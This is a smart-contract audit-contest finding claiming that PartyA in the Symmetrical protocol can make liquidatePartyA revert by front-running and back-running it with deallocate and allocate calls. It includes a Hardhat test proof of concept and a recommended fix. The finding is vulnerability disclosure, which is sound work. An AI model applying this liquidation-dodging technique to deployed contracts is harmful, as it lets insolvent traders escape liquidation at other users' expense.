sherlock-audit / 2023-06-symmetrical-judging

5 stars 4 forks source link

simon135 - PartyA can control liquidations in `liquidatePartyA` #323

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

simon135

high

PartyA can control liquidations in liquidatePartyA

Summary

PartyA can control who becomes the liquidator and cause issues and reverting

Vulnerability Detail

The PartyA Can control who becomes the liquidator by deallocating and relocating in back-running and frontrunning way steps: PartyA is underWater by -5 and they relocate 5 and they deallocate 5 and get back to the underwater state they can fronrun and backrun causing the liquidator to revert

Impact

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L24 The impact is reverted and controlled when they get liquidated

Code Snippet

 it("PartyA can get out of liqudations H-02 ",async function () {
 const context : RunContext= this.context;
     const uSigner = await ethers.getImpersonatedSigner(ethers.Wallet.createRandom().address);
     const user = new User(context, uSigner);
     await user.setup();
    await user.setNativeBalance(100n ** 18n);
 await user.setBalances(decimal(5000), decimal(5000),decimal(5000));
 const liquidator=context.signers.liquidator
     const hSigner = await ethers.getImpersonatedSigner(ethers.Wallet.createRandom().address);
     const hedger = new Hedger(context, hSigner);
     await hedger.setNativeBalance(100n ** 18n);
     await hedger.setBalances(decimal(5000), decimal(5000));
     await hedger.register();
     let b = decimal(5000);
     await user.setBalances(b, b, b);
         await user.sendQuote(
           Builder<QuoteRequest>()
             .partyBWhiteList([])
             .quantity("32000000000000000")
             .mm("69706470325210735106")
             .cva("14394116573201404621")
             .lf("8104916153486468905")
             .price("22207600000000000000000")
             .upnlSig(getDummySingleUpnlAndPriceSig("20817400000000000000000"))
             .maxInterestRate(0)
             .symbolId(1)
             .orderType(OrderType.MARKET)
             .positionType(PositionType.SHORT)
             .deadline("100000000000000000")
             .build(),
         );
             await hedger.lockQuote(1);
             await hedger.openPosition(
               1,
               Builder<OpenRequest>()
                 .filledAmount("32000000000000000")
                 .openPrice("22207600000000000000000")
                 .price("20817400000000000000000")
                 .upnlPartyA(0)
                 .upnlPartyB(0)
                 .build(),
             );
             await context.accountFacet.connect(uSigner).deallocate("5000000000000000000000", await getDummySingleUpnlSig("0"));
         await expect( context.liquidationFacet
             .connect(liquidator)
             .liquidatePartyA(uSigner.getAddress(), await getDummySingleUpnlSig("0")),).to.be.reverted;
             await context.accountFacet.connect(uSigner).allocate("5000000000000000000000");

 });

Tool used

Manual Review

Recommendation

add a solvent check to allocate so PartyA cant top up and top down their positions causing a loss

Duplicate of #233